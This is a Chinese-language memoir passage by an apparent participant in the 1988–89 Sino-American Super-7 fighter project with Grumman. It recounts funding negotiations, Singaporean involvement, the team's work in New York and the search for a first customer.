第二天孙又请了新加坡的国家发展局局长杨先生来谈超-7合作。这位杨先生30多岁,很年轻,他的夫人姓何,也一起来了。他对航空方面的情况都知道,不久前才陪李光耀总理去北京访问过,对中国也有一定了解。他说超-7的飞机模型已在我桌子上放着,与格鲁门合作是较好的,但我们是第二层次的合作,你们中国与格鲁门是第一层次的合作,我们与中国合作,不直接对格鲁门,因为一个项目由三家合作不好。孙说,搞出飞机来,你们新加坡可承担总装试飞。杨及何笑着说,试飞不行,老百姓要提意见。孙又说,那么你们干机头吧。杨说,我们主要分担航空电子综合这类计算机软件工作吧。 孙问杨,你这主张和郭先生不大一样。杨说,因为现在新加坡还没有和中国建交,打出和美国格鲁门合作的旗帜,政治上通得过。孙又告杨说,现在格鲁门没有钱,要200-300万美金,开始合作超-7初步设计。杨笑着说,格鲁门那么大公司,缺这点钱?以后格鲁门的董事长到中国去,你可告诉他新加坡出200-300万,我们两家合作,格鲁门出工程师,但这要直接告诉奥勃让,不要落到拉森手里。 与杨谈后,一次孙又见到林先生,孙问林,郭与杨的见解不一样,咋办?林说你就听杨的,他代表政府主管。接着林向孙介绍背景说,新航属国防部管,林这个总工程师手下的工程部有90个设计员,在改装飞机任务中,还有一帮人处理与约105家供应商之间的关系。此外,还请了格鲁门、诺斯罗普等公司的退休工程师当顾问。林又说,与格鲁门合作的费用较贵,他可帮助找英国航宇公司或瑞典的FFA合作,会便宜些。孙对此未表态。 关于对格合作,孙认为先坚持给"和平珍珠"的1500万补偿贸易额度折成100万美金,因这数字部长已批准。关于返销出口零件,这还没把握,先不说,即使超-7不搞,出口零件总可以,不矛盾。还要看新加坡可不可以投那200万?倒是超-7的战术技术要求,看来要高一些才行,这次看了"米格"-29,很厉害啊。 我们返回成都不久,10月初格鲁门的卡兰觉拉、奥查特及保延昭三人来京谈商务问题,也就是他要钱。成飞派陈金琰赴京参加。这次谈判使超-7形势急转直下,中方决定投资冒风险。最后定的是除"和平珍珠"补偿贸易1500万额度以外,再加中方垫支200万美金给他做返销贸易,基本满足格鲁门的愿望。钱的问题一定,其他就好办了。双方决定初步设计明年初开始,12月我们先去谈超-7的战术技术要求,格鲁门公司内部11月中即集中人力开始做准备工作。 关于冒200万美金的风险问题,在答应格鲁门公司之前,中航技内部研究是很慎重的。要真做成3000万的返销贸易,是不容易的。为此,孙肇卿召集刘国民、王大伟、李泽蕃、牛新棠等一起开了会,提出我们为了发展出口后继机,可能这200万付出去之后,没有收益会付之东流,我们干不干?会上大家都表了态,同意下这个决心。统一了意见后,又向姜副部长请示,姜也同意,认为要冒点风险走这一条路。大家知道,87年搞"佩刀"Ⅱ,投资者是巴基斯坦,这次要搞超-7,可不同了,投资者是我们自己。为了稳妥,双方议定,在89年1月以前,先用格鲁门自己补偿贸易工作挪用的50万,到1月底由我方付100万,到89年5月初再付他100万,格鲁门另外50万到7月份动用。 10月中,格鲁门新任董事长奥勃让来华。日程中专门就超-7合作事宜,找了张爱萍国防部长和空军王海司令员、林虎副司令员。 11月18日,新加坡航空工业公司工程师黄宋金先生来成飞,了解超-7情况并商谈了可否装用RB-199发动机的事。新航的意图是在一阶段(初步设计)只派观察员参加,在二阶段拟投资参加工作。我听了后,感到他们目前并不真想下水,我们不必对新航寄予更多希望。 为了准备12月去谈超-7战技要求,我们内部做方案,指导思想是又要马儿好,又要马儿少吃草,也就是能以低价格取胜的前提下尽可能把性能搞好一些,重点是机翼改进方案。做这种文章确实是一种设计艺术,我们的设计师们多少反复论证,真是绞尽脑汁。 11月29日,我们一行7人,我、陈金琰、邱普达、宋开基、郑维川、刘运孝及翻译刘明树同机飞抵北京,准备赴美与格鲁门商谈超-7战技要求、安排9个月工作计划及人员来往计划,落实我们今后设计人员去美工作的生活条件,正式签订与格鲁门公司的TAA及其附件。 出国前,我们到航空部毛德华司长那里汇报请示。毛说,方案既要考虑先进性,又要考虑用户的实际可能性和成本,因此应是低价格的高水平飞机,原则应尽量多继承歼-7飞机,机翼也只小改。必要时分步实施,等有了买主,可继续扩大改的面。管理上,今后还应加强,当然技术上,陈金琰说了,大家都听;外事活动,中航技为主,在国外工作要授权,重大问题,向国内通过电话电传协商请示。总之,我们非常支持这个项目。 我提出了一个出去后的想法,争取格鲁门能同意初步设计工作明年1月9日即正式开始,这样我们成飞7人中有5人即留下不走,不浪费旅差费了。毛同意说,可先按此办护照,出去后再与格鲁门商量。 ◆第二次中美合作开始 巴基斯坦退出后,中方与格鲁门公司达成了继续合作的意向井展开了前期工作,超-7项目终于克服了资金等困难,开始运转起来 我们一行9人,成飞7人、中航技牛新棠、军机司任年,于1988年12月3日乘坐CA981航班离京赴美,开始第二次与格鲁门合作。飞机过日本附近时已日落天黑,地面有大城市璨若繁星,富土山也隐约可见。此后在茫茫太平洋上,几乎漆黑一片,高空的星星也极为暗淡,也没有月亮,不知今日农历是哪一天。我忽然想到,在这茫茫大海漆黑的夜晚中飞行,我们的生命已全托付给在嗡嗡声中正常运转的飞机了,如果万一有任何灾难性意外,大约什么应急措施也没有用,什么人也帮不了忙的。人类有能力设计和制造出这种高安全性的飞机,而不安全往往又是人为的,这不是人类的悲剧吗? 飞机上极挤,没有什么多余的空位可睡,大家只好在自己的座位上打瞌睡。这次同机去美的我们同行有82工程的毛德华、李明二人,杜志光测试仪器考察小组4人,型号工程电子考察小组4人,我们这行业还真热火呢! 在空中飞过15000多公里之后,我们到达纽约肯尼迪机场,格鲁门奥查特及王承栋来接,在预定旅馆住下。 5日晨,我们一行去格鲁门公司900号厂房与项目经理卡兰觉拉等谈判。几天内我们共同讨论了超-7飞机的设计目标包括任务状态;9个月的分阶段工作安排,包括三次评审时间,预定第一次及最终评审在美国进行,第二次评审去中国进行,届时应正在做风洞试验;项目的总进度安排以及我们在美工作的条件如计算机的准备等。宏观的问题取得一致以后,8日开始对总方案中的各子系统的原则方案进行了讨论。在讨论到进气道时,我们还是主张最大M数应达到1.8。 13日英国罗罗公司RB-199发动机总设计师斯由萨特等二人来向我们推荐RB-199各型发动机。14日通用电气公司派人来通报F404发动机情况。15日英国通用电气公司派人来介绍航空电传操纵系统。总之,我们和格鲁门合作超-7要上马,各有关大公司也都闻风而动,主动介入了。 经过两周的共同工作,完成了预定的任务,费用承担问题解决之后,其它的都好谈。格鲁门公司的人马也开始集中起来,其组织工作看来是认真的,只是与1987年搞"佩刀"Ⅱ可行性研究时相比,大部分工程技术人员都换了。我方工程师将来来美轮换工作的人数控制在25至30人之间。为了促使他们快些开展工作,我们建议元旦后1月9日双方正式开始工作,我方陈金琰等5人留下作准备工作,不返回国内了。原定9个月时间不够,决定最终评审安排在10月份进行,收尾11月完。这些美方都同意,于是双方草签了超七初步设计SOW,谈妥了技术援助协议TAA,签署了附有超-7性能要求、结构设计、航电任务要求的会谈纪要。在谈判中,TAA有个附录F,是美政府对中方的限制条款,我们坚持应取消,美方坚持必须要,最后取得妥协是文字改得缓和些。 这期间,我们小组内部曾产生过矛盾。我主张陈等5人留下不走了。第一,可提前做一些准备工作,包括继续和格鲁门讨论机翼方案,也包括落实好将来我方来人的住房坐车等生活条件,第二,节省来去路费,也不会因重新办签证手续耽误时间。但牛新棠同志不同意,主张一起回去后过20天再来。我也不明白他怎么想的,只好反复向他及任年做了工作,好在不是我自己要留下。但外事上是中航技的人作主,我只好做说服工作。 14日,82工程来美人员的住处,大白天只有两人在家时,被几个蒙面强盗持枪入室抢掠一空,不仅现金、照相机、首饰等合计损失7000美金之多,而且这二人吓得够呛。事后向警方报了案,也就不了了之。82工程后来又跑掉一个人,事故比较多,这是后话了,相对于我超-7项目,我们平安多了。 在美时,我向卡兰觉拉建议,在第一次评审时增加邀请成飞谢明董事长、侯建武总裁前来参加,以增强成飞领导层的决心,卡兰觉拉听了认为很有必要。 在此之前,为了扩大舆论影响,格鲁门已通过美国《航空周刊》发表了中美合作超-7项目的报导文章,说明先做9个月初步设计,然后第二步搞全尺寸原型机发展。这方面,他们比我们能干。 18日,我和牛新棠、任年、宋开基同机返京,并分别向中航技及军机司汇报。 安排了之后,成飞的组织准备就开始了。确定了上报90人出国人员名单,按各人分工,在做好国内技术准备工作之后,分12批出国赴美合作设计。由于国内国外两头都要工作,正副总设计师4人分工,陈邱二位在美管中间一段。我返成都后,紧急开展工作,让已有护照的范德富、黄卿祥、胡新如、戴干常4人作为第一批赶快办证赴美,终于在1989年1月11日离京出发。第二批查治中等8人1月24日出发。 过了元旦不久,元月5日陈金琰等即到格鲁门116号厂房超-7项目办公地点上班。这里,除领导管理层有小办公室和会议室外,中美双方工程师均在一大厅内混合办公,对我方尤为有利。买的计算机已运来,格鲁门的人开始集中22人,看来都比较认真。 关键仍是用户问题 为保证低成本和缩短研制周期,格鲁门公司使用成熟的技术和部件,虽然技术转让存在风险,但决定项目前途的还是用户问题 1989年2月6日是春节,成飞在美工作的1人自己放了一天假,会了一次餐。此前,格鲁门公司为庆春节请中方人员吃了一顿中餐。2月22日,张功勋等10人第三批赴美。22日美国午夜,除金琰给我打来一个吓人的电话:10人赴美小组中的胡正林,美海关不让进关,留在旧金山了。这可急死我了。当夜陈金琰与各方联系,通过中国民航代表找我驻旧金山领事馆出面处理。原来是胡正林带了信使袋(内装技术资料),海关认为与所持护照不符,带信使袋必须持红色外交护照。于是领事馆与美国务院交涉,才于第二天通过海关到了纽约。 这期间,在格鲁门公司和成飞公司,两边工作的重点是选定机翼包括边条的气动和结构方案;安排吹风模型的设计制造,先抓紧在美国建外形数模;分析翼尖挂弹的气动、结构、颤震问题;研究前缘缝翼的气动外形、机构和操纵;研究进气道是否引用X-29的直接经验;落实成飞与格鲁门的计算机兼容问题;机体结构用有限元模型采用NASTRAN程序进行应力分析等。为抓紧工作,在纽约的人每天工作到下午6点,星期六也加班。 在美工作都按计划进展,预定4月10日在格鲁门召开超-7初步设计第一次评审会。为了早些了解工作情况,中航技请格鲁门提前邀请我和马承麟、牛新棠于3月中赴美,评审时另请刘国民、顾诵芬、谢明和侯建武参加。 我于3月15日飞北京。次日在中航技与孙、刘、马一起开了个小会,知道了部领导对超-7的态度不一样。这次去参加第一次评审,必然涉及初步设计。之后,下一步如何走,中航技、成飞和格鲁门三家都要有一个估计,即是否横下一条心,走下去,冒些风险。当然,用户问题,我们要积极抓,牛新棠即随中航技副董事长赵光琛赴埃及,刘国民赴美前也先去巴方分别做工作。关于飞机的水平,大家一致认为水平要高一些,包括寿命要长一些,并且以后还有发展的活力。当然,成本还要控制住。 3月18日,我和马副司长出发赴美。 我和马副司长一起去会见项目经理卡兰觉拉。卡向我们通报了最近的工作进展,谈了一个很重要的观点,即超-7机头雷达罩大小的取舍问题。雷达天线尺寸较大,机头只好钝一点,但会加大阻力:要阻力小,则机头要尖一些,天线尺寸只好小一些。如何取舍?他认为90年代的飞机必须有超视距发射中程导弹的能力,所以宁可牺牲一些超音速性能,也要保持较好的超视距能力。当然近距格斗能力都是必需的。 卡又谈了关于控制飞机出厂的单价的问题。他说现在可以先按由格鲁门制造机头来进行研究,但真要使飞机便宜,全机机体由成飞造最好。这样,即使超-7没有多少新技术,今后第二阶段(全尺寸原型研制)还得美政府批准,包括一些技术转让问题,如为了提高寿命,就有材料问题、制造工艺问题,当然也包括发动机和航电的出口问题。因此,要中国政府出面向美国政府高层疏通关系。现在超-7的合作,是商业渠道。这种渠道能否保持下去,是很难说的。 现在回想起来,当时卡兰觉拉能对我们说这些话,是很诚意的,不愧是一个正直的工程师。关于商业渠道能否保持下去的问题,虽然当时并无迹象,但两个多月后"六四"事件一发生,美政府马上对超-7项目进行干预,证实了卡兰觉拉的预见和我们对美国认识的肤浅。 卡还对我们说了找市场用户的问题。他说第一用户必须找到,没有确切的用户,只是说潜在的用户或市场是不行的,因为第二阶段要美政府批准,必须明确超-7搞出来给谁,即使是搞试验机,也一定要追问弄出来给谁,否则批不准。 新加坡及巴基斯坦都想派人来参加第一次评审,卡兰觉拉认为不请为好,他们不出钱,又把评审资料全部拿走了,不好。不如在评审后,若他们有兴趣,再单独向他们介绍,资料好控制。 对初步设计中的一些具体技术问题,在专业和全机二个层面上,中美双方都频繁地交换了意见。双方讨论后都有文字记录和后一周计划安排,打印成周报,报送有关人员。 这种工作方法,显然比我们国内严谨得多,效率高,争议少,有档案价值,透明度也高。 28日,牛新棠自埃及飞来纽约,之后我们4人去找格鲁门国际部总裁拉森谈。牛向拉森通报了在埃活动情况,希望共同在埃空军司令不久后来美时向他施加影响,说服埃及参加投资或给一个原型机制造的意向书。拉森反复强调要有用户,不能重犯诺思洛普在F-20上的错误,白白花掉16亿美元。 4月2日,马、牛、我3人赴华盛顿,次日去使馆汇报超-7合作情况,并汇报今后如商业渠道不行,可能要走政府间合作的关系,如国外用户动用军援费用,则必须走FMS关口。 为第一次评审做准备,中美双方都在紧张工作。初步设计方案要在这阶段冻结布局技术状态,固然问题不少,如找不到用户,9个月初步设计格鲁门是否会做到底,也有些危险。因为格鲁门公司内部有人议论,如几个月之内找不到用户,格应停止这个项目不再花钱。3月31日卡兰觉拉以书面形式向中方马、屠、陈、牛4位发出备忘录,除陈述若干关键技术问题外,还专门提出了商务问题,建议中航技及成飞领导慎重考虑,在没有找到用户之前,不要再花更多资金。例如不再在5月份向格鲁门支付第二个100万元美金。这备忘录也送格鲁门领导层。4月6日,格鲁门董事长奥勃让决定,格鲁门不能主动不干,只是给中方一个机会,中方考虑不干了,格鲁门可同意不干。